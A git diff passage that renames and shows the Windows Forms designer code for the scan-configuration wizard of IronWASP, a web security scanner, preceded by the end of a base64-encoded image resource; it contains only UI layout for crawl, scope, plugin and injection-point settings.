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 + + + \ No newline at end of file diff --git a/IronWASP/StartScanWizard.Designer.cs b/Iron/StartScanWizard.Designer.cs similarity index 98% rename from IronWASP/StartScanWizard.Designer.cs rename to Iron/StartScanWizard.Designer.cs index 18538ae..4c9684f 100644 --- a/IronWASP/StartScanWizard.Designer.cs +++ b/Iron/StartScanWizard.Designer.cs @@ -1,1636 +1,1636 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class StartScanWizard - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(StartScanWizard)); - this.BaseTabs = new System.Windows.Forms.TabControl(); - this.Zero = new System.Windows.Forms.TabPage(); - this.ScanTemplateNameLbl = new System.Windows.Forms.Label(); - this.Step0StatusTB = new System.Windows.Forms.TextBox(); - this.label6 = new System.Windows.Forms.Label(); - this.label2 = new System.Windows.Forms.Label(); - this.LoadTemplateLL = new System.Windows.Forms.LinkLabel(); - this.label1 = new System.Windows.Forms.Label(); - this.CancelBtn = new System.Windows.Forms.Button(); - this.StepZeroNextBtn = new System.Windows.Forms.Button(); - this.Step1StatusLbl = new System.Windows.Forms.Label(); - this.Step1Progress = new System.Windows.Forms.ProgressBar(); - this.One = new System.Windows.Forms.TabPage(); - this.Step1StatusTB = new System.Windows.Forms.TextBox(); - this.ConfigureScanDirAndFileGuessingCB = new System.Windows.Forms.CheckBox(); - this.label10 = new System.Windows.Forms.Label(); - this.label9 = new System.Windows.Forms.Label(); - this.SpecialHeaderValueTB = new System.Windows.Forms.TextBox(); - this.SpecialHeaderNameTB = new System.Windows.Forms.TextBox(); - this.UseSpecialHeaderCB = new System.Windows.Forms.CheckBox(); - this.panel1 = new System.Windows.Forms.Panel(); - this.CrawlAndScanRB = new System.Windows.Forms.RadioButton(); - this.CrawlOnlyRB = new System.Windows.Forms.RadioButton(); - this.StepOnePreviousBtn = new System.Windows.Forms.Button(); - this.StepOneNextBtn = new System.Windows.Forms.Button(); - this.ConfigCrawlerUserAgentTB = new System.Windows.Forms.TextBox(); - this.label32 = new System.Windows.Forms.Label(); - this.ConfigCrawlerThreadMaxCountLbl = new System.Windows.Forms.Label(); - this.label33 = new System.Windows.Forms.Label(); - this.ConfigCrawlerThreadMaxCountTB = new System.Windows.Forms.TrackBar(); - this.label5 = new System.Windows.Forms.Label(); - this.linkLabel2 = new System.Windows.Forms.LinkLabel(); - this.label4 = new System.Windows.Forms.Label(); - this.label3 = new System.Windows.Forms.Label(); - this.Two = new System.Windows.Forms.TabPage(); - this.Step2StatusTB = new System.Windows.Forms.TextBox(); - this.StepTwoPreviousBtn = new System.Windows.Forms.Button(); - this.StepTwoNextBtn = new System.Windows.Forms.Button(); - this.label14 = new System.Windows.Forms.Label(); - this.label13 = new System.Windows.Forms.Label(); - this.label11 = new System.Windows.Forms.Label(); - this.StartingUrlTB = new System.Windows.Forms.TextBox(); - this.ConfigureScanUrlToAvoidTB = new System.Windows.Forms.TextBox(); - this.label12 = new System.Windows.Forms.Label(); - this.BaseUrlTB = new System.Windows.Forms.TextBox(); - this.panel3 = new System.Windows.Forms.Panel(); - this.CrossProtoNoRB = new System.Windows.Forms.RadioButton(); - this.CrossProtoYesRB = new System.Windows.Forms.RadioButton(); - this.CrossProtoQuestionLbl = new System.Windows.Forms.Label(); - this.panel2 = new System.Windows.Forms.Panel(); - this.SubdomainNoRB = new System.Windows.Forms.RadioButton(); - this.SubdomainYesRB = new System.Windows.Forms.RadioButton(); - this.label7 = new System.Windows.Forms.Label(); - this.Three = new System.Windows.Forms.TabPage(); - this.Step3StatusTB = new System.Windows.Forms.TextBox(); - this.ScanAllPluginsCB = new System.Windows.Forms.CheckBox(); - this.StepThreePreviousBtn = new System.Windows.Forms.Button(); - this.StepThreeNextBtn = new System.Windows.Forms.Button(); - this.label16 = new System.Windows.Forms.Label(); - this.InjectNamesCB = new System.Windows.Forms.CheckBox(); - this.ScanPluginsGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewCheckBoxColumn9 = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.dataGridViewTextBoxColumn27 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.label15 = new System.Windows.Forms.Label(); - this.InjectHeadersCB = new System.Windows.Forms.CheckBox(); - this.InjectCookieCB = new System.Windows.Forms.CheckBox(); - this.InjectBodyCB = new System.Windows.Forms.CheckBox(); - this.InjectQueryCB = new System.Windows.Forms.CheckBox(); - this.InjectUrlPathPartsCB = new System.Windows.Forms.CheckBox(); - this.Four = new System.Windows.Forms.TabPage(); - this.Step4StatusTB = new System.Windows.Forms.TextBox(); - this.label18 = new System.Windows.Forms.Label(); - this.label17 = new System.Windows.Forms.Label(); - this.StepFourPreviousBtn = new System.Windows.Forms.Button(); - this.StepFourNextBtn = new System.Windows.Forms.Button(); - this.groupBox5 = new System.Windows.Forms.GroupBox(); - this.HeadersParametersFilterCB = new System.Windows.Forms.CheckBox(); - this.HeadersParametersPlusTB = new System.Windows.Forms.TextBox(); - this.HeadersParametersMinusTB = new System.Windows.Forms.TextBox(); - this.HeadersParametersPlusRB = new System.Windows.Forms.RadioButton(); - this.HeadersParametersMinusRB = new System.Windows.Forms.RadioButton(); - this.groupBox1 = new System.Windows.Forms.GroupBox(); - this.QueryParametersFilterCB = new System.Windows.Forms.CheckBox(); - this.QueryParametersPlusTB = new System.Windows.Forms.TextBox(); - this.QueryParametersMinusTB = new System.Windows.Forms.TextBox(); - this.QueryParametersPlusRB = new System.Windows.Forms.RadioButton(); - this.QueryParametersMinusRB = new System.Windows.Forms.RadioButton(); - this.groupBox3 = new System.Windows.Forms.GroupBox(); - this.BodyParametersFilterCB = new System.Windows.Forms.CheckBox(); - this.BodyParametersPlusTB = new System.Windows.Forms.TextBox(); - this.BodyParametersMinusTB = new System.Windows.Forms.TextBox(); - this.BodyParametersPlusRB = new System.Windows.Forms.RadioButton(); - this.BodyParametersMinusRB = new System.Windows.Forms.RadioButton(); - this.groupBox4 = new System.Windows.Forms.GroupBox(); - this.CookieParametersFilterCB = new System.Windows.Forms.CheckBox(); - this.CookieParametersPlusTB = new System.Windows.Forms.TextBox(); - this.CookieParametersMinusTB = new System.Windows.Forms.TextBox(); - this.CookieParametersPlusRB = new System.Windows.Forms.RadioButton(); - this.CookieParametersMinusRB = new System.Windows.Forms.RadioButton(); - this.Five = new System.Windows.Forms.TabPage(); - this.PromptUserCB = new System.Windows.Forms.CheckBox(); - this.label20 = new System.Windows.Forms.Label(); - this.label8 = new System.Windows.Forms.Label(); - this.textBox3 = new System.Windows.Forms.TextBox(); - this.SaveTemplateLL = new System.Windows.Forms.LinkLabel(); - this.label19 = new System.Windows.Forms.Label(); - this.StepFivePreviousBtn = new System.Windows.Forms.Button(); - this.FinalBtn = new System.Windows.Forms.Button(); - this.SaveTemplateDialog = new System.Windows.Forms.SaveFileDialog(); - this.OpenTemplateDialog = new System.Windows.Forms.OpenFileDialog(); - this.BaseTabs.SuspendLayout(); - this.Zero.SuspendLayout(); - this.One.SuspendLayout(); - this.panel1.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ConfigCrawlerThreadMaxCountTB)).BeginInit(); - this.Two.SuspendLayout(); - this.panel3.SuspendLayout(); - this.panel2.SuspendLayout(); - this.Three.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).BeginInit(); - this.Four.SuspendLayout(); - this.groupBox5.SuspendLayout(); - this.groupBox1.SuspendLayout(); - this.groupBox3.SuspendLayout(); - this.groupBox4.SuspendLayout(); - this.Five.SuspendLayout(); - this.SuspendLayout(); - // - // BaseTabs - // - this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; - this.BaseTabs.Controls.Add(this.Zero); - this.BaseTabs.Controls.Add(this.One); - this.BaseTabs.Controls.Add(this.Two); - this.BaseTabs.Controls.Add(this.Three); - this.BaseTabs.Controls.Add(this.Four); - this.BaseTabs.Controls.Add(this.Five); - this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.BaseTabs.Location = new System.Drawing.Point(0, 0); - this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.BaseTabs.Name = "BaseTabs"; - this.BaseTabs.Padding = new System.Drawing.Point(0, 0); - this.BaseTabs.SelectedIndex = 0; - this.BaseTabs.Size = new System.Drawing.Size(834, 361); - this.BaseTabs.TabIndex = 0; - this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); - // - // Zero - // - this.Zero.Controls.Add(this.ScanTemplateNameLbl); - this.Zero.Controls.Add(this.Step0StatusTB); - this.Zero.Controls.Add(this.label6); - this.Zero.Controls.Add(this.label2); - this.Zero.Controls.Add(this.LoadTemplateLL); - this.Zero.Controls.Add(this.label1); - this.Zero.Controls.Add(this.CancelBtn); - this.Zero.Controls.Add(this.StepZeroNextBtn); - this.Zero.Controls.Add(this.Step1StatusLbl); - this.Zero.Controls.Add(this.Step1Progress); - this.Zero.Location = new System.Drawing.Point(4, 25); - this.Zero.Margin = new System.Windows.Forms.Padding(0); - this.Zero.Name = "Zero"; - this.Zero.Size = new System.Drawing.Size(826, 332); - this.Zero.TabIndex = 0; - this.Zero.Text = " Start "; - this.Zero.UseVisualStyleBackColor = true; - // - // ScanTemplateNameLbl - // - this.ScanTemplateNameLbl.AutoSize = true; - this.ScanTemplateNameLbl.Location = new System.Drawing.Point(120, 210); - this.ScanTemplateNameLbl.Name = "ScanTemplateNameLbl"; - this.ScanTemplateNameLbl.Size = new System.Drawing.Size(220, 13); - this.ScanTemplateNameLbl.TabIndex = 137; - this.ScanTemplateNameLbl.Text = " "; - // - // Step0StatusTB - // - this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step0StatusTB.BackColor = System.Drawing.Color.White; - this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step0StatusTB.ForeColor = System.Drawing.Color.Red; - this.Step0StatusTB.Location = new System.Drawing.Point(123, 293); - this.Step0StatusTB.Multiline = true; - this.Step0StatusTB.Name = "Step0StatusTB"; - this.Step0StatusTB.Size = new System.Drawing.Size(577, 31); - this.Step0StatusTB.TabIndex = 136; - this.Step0StatusTB.TabStop = false; - this.Step0StatusTB.Visible = false; - // - // label6 - // - this.label6.AutoSize = true; - this.label6.Location = new System.Drawing.Point(10, 39); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(578, 13); - this.label6.TabIndex = 10; - this.label6.Text = "If you do not understand any of the settings then don\'t worry, you can simply pro" + - "ceed with the options selected by default."; - // - // label2 - // - this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(8, 15); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(346, 13); - this.label2.TabIndex = 9; - this.label2.Text = "This wizard will help you create a new scan suited to your requirements. "; - // - // LoadTemplateLL - // - this.LoadTemplateLL.AutoSize = true; - this.LoadTemplateLL.Location = new System.Drawing.Point(350, 173); - this.LoadTemplateLL.Name = "LoadTemplateLL"; - this.LoadTemplateLL.Size = new System.Drawing.Size(125, 13); - this.LoadTemplateLL.TabIndex = 8; - this.LoadTemplateLL.TabStop = true; - this.LoadTemplateLL.Text = "Load Scan Template File"; - this.LoadTemplateLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LoadTemplateLL_LinkClicked); - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(8, 173); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(336, 13); - this.label1.TabIndex = 7; - this.label1.Text = "If you have saved a Scan Configuration template then you can use it: "; - // - // CancelBtn - // - this.CancelBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.CancelBtn.Location = new System.Drawing.Point(11, 301); - this.CancelBtn.Name = "CancelBtn"; - this.CancelBtn.Size = new System.Drawing.Size(105, 23); - this.CancelBtn.TabIndex = 6; - this.CancelBtn.Text = "Cancel"; - this.CancelBtn.UseVisualStyleBackColor = true; - this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); - // - // StepZeroNextBtn - // - this.StepZeroNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepZeroNextBtn.Enabled = false; - this.StepZeroNextBtn.Location = new System.Drawing.Point(707, 301); - this.StepZeroNextBtn.Name = "StepZeroNextBtn"; - this.StepZeroNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepZeroNextBtn.TabIndex = 5; - this.StepZeroNextBtn.Text = "Next Step ->"; - this.StepZeroNextBtn.UseVisualStyleBackColor = true; - this.StepZeroNextBtn.Click += new System.EventHandler(this.StepZeroNextBtn_Click); - // - // Step1StatusLbl - // - this.Step1StatusLbl.AutoSize = true; - this.Step1StatusLbl.Location = new System.Drawing.Point(8, 93); - this.Step1StatusLbl.Name = "Step1StatusLbl"; - this.Step1StatusLbl.Size = new System.Drawing.Size(217, 13); - this.Step1StatusLbl.TabIndex = 1; - this.Step1StatusLbl.Text = "Checking connectivity with the target host...."; - // - // Step1Progress - // - this.Step1Progress.Location = new System.Drawing.Point(11, 118); - this.Step1Progress.MarqueeAnimationSpeed = 20; - this.Step1Progress.Name = "Step1Progress"; - this.Step1Progress.Size = new System.Drawing.Size(202, 23); - this.Step1Progress.Style = System.Windows.Forms.ProgressBarStyle.Marquee; - this.Step1Progress.TabIndex = 0; - this.Step1Progress.Visible = false; - // - // One - // - this.One.Controls.Add(this.Step1StatusTB); - this.One.Controls.Add(this.ConfigureScanDirAndFileGuessingCB); - this.One.Controls.Add(this.label10); - this.One.Controls.Add(this.label9); - this.One.Controls.Add(this.SpecialHeaderValueTB); - this.One.Controls.Add(this.SpecialHeaderNameTB); - this.One.Controls.Add(this.UseSpecialHeaderCB); - this.One.Controls.Add(this.panel1); - this.One.Controls.Add(this.StepOnePreviousBtn); - this.One.Controls.Add(this.StepOneNextBtn); - this.One.Controls.Add(this.ConfigCrawlerUserAgentTB); - this.One.Controls.Add(this.label32); - this.One.Controls.Add(this.ConfigCrawlerThreadMaxCountLbl); - this.One.Controls.Add(this.label33); - this.One.Controls.Add(this.ConfigCrawlerThreadMaxCountTB); - this.One.Controls.Add(this.label5); - this.One.Controls.Add(this.linkLabel2); - this.One.Controls.Add(this.label4); - this.One.Controls.Add(this.label3); - this.One.Location = new System.Drawing.Point(4, 25); - this.One.Margin = new System.Windows.Forms.Padding(0); - this.One.Name = "One"; - this.One.Size = new System.Drawing.Size(826, 332); - this.One.TabIndex = 1; - this.One.Text = " Crawl Settings "; - this.One.UseVisualStyleBackColor = true; - // - // Step1StatusTB - // - this.Step1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step1StatusTB.BackColor = System.Drawing.Color.White; - this.Step1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step1StatusTB.ForeColor = System.Drawing.Color.Red; - this.Step1StatusTB.Location = new System.Drawing.Point(126, 293); - this.Step1StatusTB.Multiline = true; - this.Step1StatusTB.Name = "Step1StatusTB"; - this.Step1StatusTB.Size = new System.Drawing.Size(577, 32); - this.Step1StatusTB.TabIndex = 135; - this.Step1StatusTB.TabStop = false; - this.Step1StatusTB.Visible = false; - // - // ConfigureScanDirAndFileGuessingCB - // - this.ConfigureScanDirAndFileGuessingCB.AutoSize = true; - this.ConfigureScanDirAndFileGuessingCB.Checked = true; - this.ConfigureScanDirAndFileGuessingCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigureScanDirAndFileGuessingCB.Location = new System.Drawing.Point(16, 165); - this.ConfigureScanDirAndFileGuessingCB.Name = "ConfigureScanDirAndFileGuessingCB"; - this.ConfigureScanDirAndFileGuessingCB.Size = new System.Drawing.Size(347, 17); - this.ConfigureScanDirAndFileGuessingCB.TabIndex = 134; - this.ConfigureScanDirAndFileGuessingCB.Text = "In addition to following links also perform Directory and File Guessing"; - this.ConfigureScanDirAndFileGuessingCB.UseVisualStyleBackColor = true; - // - // label10 - // - this.label10.AutoSize = true; - this.label10.Location = new System.Drawing.Point(477, 210); - this.label10.Name = "label10"; - this.label10.Size = new System.Drawing.Size(75, 13); - this.label10.TabIndex = 133; - this.label10.Text = "Header Value:"; - // - // label9 - // - this.label9.AutoSize = true; - this.label9.Location = new System.Drawing.Point(290, 211); - this.label9.Name = "label9"; - this.label9.Size = new System.Drawing.Size(76, 13); - this.label9.TabIndex = 132; - this.label9.Text = "Header Name:"; - // - // SpecialHeaderValueTB - // - this.SpecialHeaderValueTB.Location = new System.Drawing.Point(555, 207); - this.SpecialHeaderValueTB.Name = "SpecialHeaderValueTB"; - this.SpecialHeaderValueTB.Size = new System.Drawing.Size(259, 20); - this.SpecialHeaderValueTB.TabIndex = 131; - this.SpecialHeaderValueTB.Text = "Security Testing Team with IronWASP"; - // - // SpecialHeaderNameTB - // - this.SpecialHeaderNameTB.Location = new System.Drawing.Point(368, 207); - this.SpecialHeaderNameTB.Name = "SpecialHeaderNameTB"; - this.SpecialHeaderNameTB.Size = new System.Drawing.Size(100, 20); - this.SpecialHeaderNameTB.TabIndex = 130; - this.SpecialHeaderNameTB.Text = "X-Scanned-By"; - // - // UseSpecialHeaderCB - // - this.UseSpecialHeaderCB.AutoSize = true; - this.UseSpecialHeaderCB.Location = new System.Drawing.Point(17, 209); - this.UseSpecialHeaderCB.Name = "UseSpecialHeaderCB"; - this.UseSpecialHeaderCB.Size = new System.Drawing.Size(276, 17); - this.UseSpecialHeaderCB.TabIndex = 129; - this.UseSpecialHeaderCB.Text = "Include this custom header while Crawling/Scanning:"; - this.UseSpecialHeaderCB.UseVisualStyleBackColor = true; - // - // panel1 - // - this.panel1.Controls.Add(this.CrawlAndScanRB); - this.panel1.Controls.Add(this.CrawlOnlyRB); - this.panel1.Location = new System.Drawing.Point(102, 66); - this.panel1.Name = "panel1"; - this.panel1.Size = new System.Drawing.Size(428, 30); - this.panel1.TabIndex = 125; - // - // CrawlAndScanRB - // - this.CrawlAndScanRB.AutoSize = true; - this.CrawlAndScanRB.Checked = true; - this.CrawlAndScanRB.Location = new System.Drawing.Point(163, 7); - this.CrawlAndScanRB.Name = "CrawlAndScanRB"; - this.CrawlAndScanRB.Size = new System.Drawing.Size(252, 17); - this.CrawlAndScanRB.TabIndex = 114; - this.CrawlAndScanRB.TabStop = true; - this.CrawlAndScanRB.Text = "a Crawl of the site and also Scan crawled pages"; - this.CrawlAndScanRB.UseVisualStyleBackColor = true; - // - // CrawlOnlyRB - // - this.CrawlOnlyRB.AutoSize = true; - this.CrawlOnlyRB.Location = new System.Drawing.Point(11, 7); - this.CrawlOnlyRB.Name = "CrawlOnlyRB"; - this.CrawlOnlyRB.Size = new System.Drawing.Size(133, 17); - this.CrawlOnlyRB.TabIndex = 115; - this.CrawlOnlyRB.Text = "a Crawl of the site Only"; - this.CrawlOnlyRB.UseVisualStyleBackColor = true; - // - // StepOnePreviousBtn - // - this.StepOnePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepOnePreviousBtn.Location = new System.Drawing.Point(8, 302); - this.StepOnePreviousBtn.Name = "StepOnePreviousBtn"; - this.StepOnePreviousBtn.Size = new System.Drawing.Size(105, 23); - 